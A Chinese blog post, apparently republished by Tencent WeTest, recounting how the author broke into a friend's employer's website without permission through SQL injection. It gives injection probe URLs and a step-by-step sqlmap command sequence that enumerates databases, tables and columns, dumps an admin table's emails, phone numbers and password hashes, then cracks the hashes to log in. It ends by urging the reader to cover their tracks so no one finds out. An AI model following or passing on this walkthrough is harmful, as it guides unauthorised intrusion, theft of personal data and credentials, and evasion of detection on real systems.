本文由腾讯 WeTest 团队提供,更多资讯可直接戳链接查看:http://wetest.qq.com/lab/
微信号:TencentWeTest
最近在研究 Web 安全相关的知识,特别是 SQL 注入类的相关知识。接触了一些与 SQL 注入相关的工具。周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞。不试不知道,一试还真 TM 得逞了,内心有些小激动,特在此写博文一篇,来记录下我是如何一步步攻破这家互联网公司的。
【作案工具介绍】
(1) AppScan 渗透扫描工具
Appscan 是 Web 应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行 Web 应用程序自动化脆弱性评估。
(2) Sqlmap 渗透测试工具
Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描,发现并利用给定的 URL 的 SQL 注入漏洞。
【作案细节如下】
首先使用 Appscan 工具,对 www.xxx.com 互联网公司的官网进行扫描,扫描结果如下:
在这 56 个安全性问题中,找到你感兴趣的链接,例如下面这条:
http://www.xxx.com/system/cms/show?id=1
为何要挑出这一条呢?因为它对于 SQL 注入比较典型,下面普及下 SQL 注入常用手法。首先用如下语句,确定该网站是否存在注入点:
http://192.168.16.128/news.php?id=1 原网站
http://192.168.16.128/news.php?id=1' 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出错或显示不正常
如果有出错,说明存在注入点。
在判断完http://www.xxx.com/system/cms/show?id=1Sqlmap,进行下一步的注入工作,详细过程如下:该链接存在注入点后,接下来就启动我们的渗透测试工具
1) 再次确认目标注入点是否可用:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1
参数:
-u:指定注入点 url
结果:
注入结果展示:
a. 参数 id 存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
b. 参数 id 存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行 (即页面返回时间是否增加) 来判断。
c. 数据库类型为:MySql 5.0.12
2) 暴库所有数据库:
一条命令即可曝出该 sqlserver 中所有数据库名称,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --dbs
参数:
--dbs:dbs 前面有两条杠,列出所有数据库。
结果:
结果显示该 sqlserver 中共包含 3 个可用的数据库。
3) 获取当前使用的数据库
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db
参数:
--current-db:当前所使用的数据库。
结果:
4) 获取当前数据库使用账户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user
5) 列出 sqlserver 所有用户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users
6) 获取当前用户数据库账户与密码
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords
结果显示该用户可能无读取相关系统的权限。
7) 列出数据库中的表
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables
参数:
-D:指定数据库名称
--tables:列出表
结果:
结果显示共列出了 69 张表。
8) 列出表中字段
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
结果:
9) 暴字段内容
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump
参数:
-C :指定要暴的字段
--dump:将结果导出
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump
参数:
--start:指定开始的行
--stop:指定结束的行
此条命令的含义为:导出数据库 xxx_store 中的表 mall_admin 中的关于字段 (ag_id,email,id,mobile,name,password,status) 中的第 1 到第 10 行的数据内容。
结果如下:
通过上图,我们可以看到 admin 表中的用户信息了。我们将 password 字段通过 md5 解密,可以得到 hash 的原文密码,通过用户名和密码,我们就可以登录该网站了。
至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!
本文由腾讯 WeTest 团队提供,更多资讯可直接戳链接查看:http://wetest.qq.com/lab/
关于腾讯 WeTest
腾讯 WeTest 是腾讯游戏官方推出的一站式游戏测试平台,用十年腾讯游戏测试经验帮助广大开发者对游戏开发全生命周期进行质量保障。
腾讯 WeTest 提供:兼容适配测试;云端真机调试;安全测试;耗电量测试;服务器压力测试;舆情监控等服务。